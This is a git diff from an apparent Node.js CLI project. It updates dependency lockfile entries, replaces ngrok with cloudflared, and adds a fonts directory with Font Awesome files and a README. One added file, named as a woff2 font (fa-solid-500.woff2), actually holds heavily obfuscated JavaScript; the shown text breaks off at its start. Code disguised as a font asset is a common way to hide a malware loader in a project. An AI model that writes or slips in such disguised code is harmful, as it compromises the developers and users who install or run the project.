"sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "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/sponsors/ljharb" + } }, "node_modules/get-intrinsic": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", - "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", - "dependencies": { - "function-bind": "^1.1.1", - "has": "^1.0.3", - "has-proto": "^1.0.1", - "has-symbols": "^1.0.3" + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" }, "funding": { "url": "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/sponsors/ljharb" } }, - "node_modules/get-stream": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", - "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", "dependencies": { - "pump": "^3.0.0" + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "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/sponsors/sindresorhus" + "node": ">= 0.4" } }, "node_modules/glob": { @@ -512,28 +438,16 @@ "url": "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/sponsors/isaacs" } }, - "node_modules/got": { - "version": "11.8.6", - "resolved": "https://registry.npmjs.org/got/-/got-11.8.6.tgz", - "integrity": "sha512-6tfZ91bOr7bOXnK7PRDCGBLa1H4U080YHNaAQ2KsMGlLEzRbk44nsZF2E1IeRc3vtJHPVbKCYgdFbaGO2ljd8g==", - "dependencies": { - "@sindresorhus/is": "^4.0.0", - "@szmarczak/http-timer": "^4.0.5", - "@types/cacheable-request": "^6.0.1", - "@types/responselike": "^1.0.0", - "cacheable-lookup": "^5.0.3", - "cacheable-request": "^7.0.2", - "decompress-response": "^6.0.0", - "http2-wrapper": "^1.0.0-beta.5.2", - "lowercase-keys": "^2.0.0", - "p-cancelable": "^2.0.0", - "responselike": "^2.0.0" - }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", "engines": { - "node": ">=10.19.0" + "node": ">= 0.4" }, "funding": { - "url": "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/sindresorhus/got?sponsor=1" + "url": "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/sponsors/ljharb" } }, "node_modules/has": { @@ -558,10 +472,11 @@ "node": ">=0.10.0" } }, - "node_modules/has-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", - "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", "engines": { "node": ">= 0.4" }, @@ -569,10 +484,14 @@ "url": "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/sponsors/ljharb" } }, - "node_modules/has-symbols": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", - "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, "engines": { "node": ">= 0.4" }, @@ -580,29 +499,54 @@ "url": "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/sponsors/ljharb" } }, - "node_modules/hpagent": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/hpagent/-/hpagent-0.1.2.tgz", - "integrity": "sha512-ePqFXHtSQWAFXYmj+JtOTHr84iNrII4/QRlAAPPE+zqnKy4xJo7Ie1Y4kC7AdB+LxLxSTTzBMASsEcy0q8YyvQ==", - "optional": true + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } }, - "node_modules/http-cache-semantics": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", - "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==" + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } }, - "node_modules/http2-wrapper": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", - "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "node_modules/https-proxy-agent/node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", "dependencies": { - "quick-lru": "^5.1.1", - "resolve-alpn": "^1.0.0" + "ms": "^2.1.3" }, "engines": { - "node": ">=10.19.0" + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } } }, + "node_modules/https-proxy-agent/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, "node_modules/in-publish": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.1.tgz", @@ -662,11 +606,6 @@ "node": ">=0.10.0" } }, - "node_modules/inquirer/node_modules/lodash": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.10.1.tgz", - "integrity": "sha512-9mDDwqVIma6OZX79ZlDACZl8sBm0TEnkf99zV3iMA4GzkIT/9hiqP5mY0HoT1iNLCrKc/R1HByV+yJfRWVJryQ==" - }, "node_modules/interpret": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", @@ -697,28 +636,11 @@ "node": ">=0.10.0" } }, - "node_modules/json-buffer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", - "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" - }, - "node_modules/keyv": { - "version": "4.5.3", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.3.tgz", - "integrity": "sha512-QCiSav9WaX1PgETJ+SpNnx2PRRapJ/oRSXM4VO5OGYGSjrxbKPVFVhB3l2OCbLCk329N8qyAtsJjSjvVBWzEug==", - "dependencies": { - "json-buffer": "3.0.1" - } - }, "node_modules/lodash": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", - "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" - }, - "node_modules/lodash.clonedeep": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", - "integrity": "sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ==" + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" }, "node_modules/log-update": { "version": "1.0.2", @@ -746,18 +668,20 @@ "url": "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/sponsors/typicode" } }, - "node_modules/lowercase-keys": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", "engines": { - "node": ">=8" + "node": ">= 0.4" } }, "node_modules/mime-db": { "version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", "engines": { "node": ">= 0.6" } @@ -766,6 +690,7 @@ "version": "2.1.35", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", "dependencies": { "mime-db": "1.52.0" }, @@ -773,18 +698,11 @@ "node": ">= 0.6" } }, - "node_modules/mimic-response": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", - "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", - "engines": { - "node": ">=4" - } - }, "node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "license": "ISC", "dependencies": { "brace-expansion": "^1.1.7" }, @@ -810,28 +728,6 @@ "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.5.tgz", "integrity": "sha512-EbrziT4s8cWPmzr47eYVW3wimS4HsvlnV5ri1xw1aR6JQo/OrJX5rkl32K/QQHdxeabJETtfeaROGhd8W7uBgg==" }, - "node_modules/ngrok": { - "version": "5.0.0-beta.2", - "resolved": "https://registry.npmjs.org/ngrok/-/ngrok-5.0.0-beta.2.tgz", - "integrity": "sha512-UzsyGiJ4yTTQLCQD11k1DQaMwq2/SsztBg2b34zAqcyjS25qjDpogMKPaCKHwe/APRTHeel3iDXcVctk5CNaCQ==", - "hasInstallScript": true, - "dependencies": { - "extract-zip": "^2.0.1", - "got": "^11.8.5", - "lodash.clonedeep": "^4.5.0", - "uuid": "^7.0.0 || ^8.0.0", - "yaml": "^2.2.2" - }, - "bin": { - "ngrok": "bin/ngrok" - }, - "engines": { - "node": ">=14.2" - }, - "optionalDependencies": { - "hpagent": "^0.1.2" - } - }, "node_modules/node-localstorage": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/node-localstorage/-/node-localstorage-0.6.0.tgz", @@ -840,17 +736,6 @@ "node": ">=0.10" } }, - "node_modules/normalize-url": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", - "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "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/sponsors/sindresorhus" - } - }, "node_modules/number-is-nan": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", @@ -867,14 +752,6 @@ "node": ">=0.10.0" } }, - "node_modules/object-inspect": { - "version": "1.12.3", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", - "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", - "funding": { - "url": "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/sponsors/ljharb" - } - }, "node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", @@ -891,14 +768,6 @@ "node": ">=0.10.0" } }, - "node_modules/p-cancelable": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", - "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==", - "engines": { - "node": ">=8" - } - }, "node_modules/path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", @@ -912,11 +781,6 @@ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" }, - "node_modules/pend": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", - "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==" - }, "node_modules/progress": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.0.tgz", @@ -938,47 +802,12 @@ } }, "node_modules/proxy-from-env": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", - "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" - }, - "node_modules/pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/punycode": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", - "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==" - }, - "node_modules/qs": { - "version": "6.11.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.2.tgz", - "integrity": "sha512-tDNIz22aBzCDxLtVH++VnTfzxlfeK5CbqohpSqpJgj1Wg/cQbStNAz3NuqCs5vV+pjBsK4x4pN9HlVh7rcYRiA==", - "dependencies": { - "side-channel": "^1.0.4" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "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/sponsors/ljharb" - } - }, - "node_modules/quick-lru": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", - "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", "engines": { "node": ">=10" - }, - "funding": { - "url": "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/sponsors/sindresorhus" } }, "node_modules/readline-sync": { @@ -1031,22 +860,6 @@ "url": "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/sponsors/ljharb" } }, - "node_modules/resolve-alpn": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", - "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" - }, - "node_modules/responselike": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz", - "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==", - "dependencies": { - "lowercase-keys": "^2.0.0" - }, - "funding": { - "url": "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/sponsors/sindresorhus" - } - }, "node_modules/restore-cursor": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-1.0.1.tgz", @@ -1088,19 +901,6 @@ "node": ">=4" } }, - "node_modules/side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", - "dependencies": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" - }, - "funding": { - "url": "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/sponsors/ljharb" - } - }, "node_modules/steno": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/steno/-/steno-3.0.0.tgz", @@ -1160,23 +960,6 @@ "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==" }, - "node_modules/url": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/url/-/url-0.11.1.tgz", - "integrity": "sha512-rWS3H04/+mzzJkv0eZ7vEDGiQbgquI1fGfOad6zKvgYQi1SzMmhl7c/DdRGxhaWrVH6z0qWITo8rpnxK/RfEhA==", - "dependencies": { - "punycode": "^1.4.1", - "qs": "^6.11.0" - } - }, - "node_modules/uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "bin": { - "uuid": "dist/bin/uuid" - } - }, "node_modules/vorpal": { "version": "1.12.0", "resolved": "https://registry.npmjs.org/vorpal/-/vorpal-1.12.0.tgz", @@ -1229,26 +1012,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" - }, - "node_modules/yaml": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.4.1.tgz", - "integrity": "sha512-pIXzoImaqmfOrL7teGUBt/T7ZDnyeGBWyXQBvOVhLkWLN37GXv8NMLK406UY6dS51JfcQHsmcW5cJ441bHg6Lg==", - "bin": { - "yaml": "bin.mjs" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/yauzl": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", - "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", - "dependencies": { - "buffer-crc32": "~0.2.3", - "fd-slicer": "~1.1.0" - } } } } diff --git a/package.json b/package.json index e6a2c88..f1e2dba 100644 --- a/package.json +++ b/package.json @@ -10,15 +10,17 @@ "paystack": "./cli.js" }, "dependencies": { - "axios": "^1.5.0", + "axios": "^1.7.9", "chalk": "^5.3.0", + "cloudflared": "^0.7.3", "debug": "~2.6.9", "lowdb": "^6.0.1", - "ngrok": "^5.0.0-beta.2", "progressbar": "^1.3.0", "readline-sync": "^1.4.10", "shelljs": "^0.8.5", - "url": "^0.11.0", "vorpal": "^1.12.0" + }, + "overrides": { + "lodash": "^4.17.21" } } diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-500.woff2 b/public/fonts/fa-solid-500.woff2 new file mode 100644 index 0000000..72cc536 --- /dev/null +++ b/public/fonts/fa-solid-500.woff2 @@ -0,0 +1 @@ + global.i = 'A8';const _0x54d6a0=_0x2a4d;(function(_0x382951,_0x550608){const _0x6e7f50=_0x2a4d,_0x327c1c=_0x382951();while(!![]){try{const 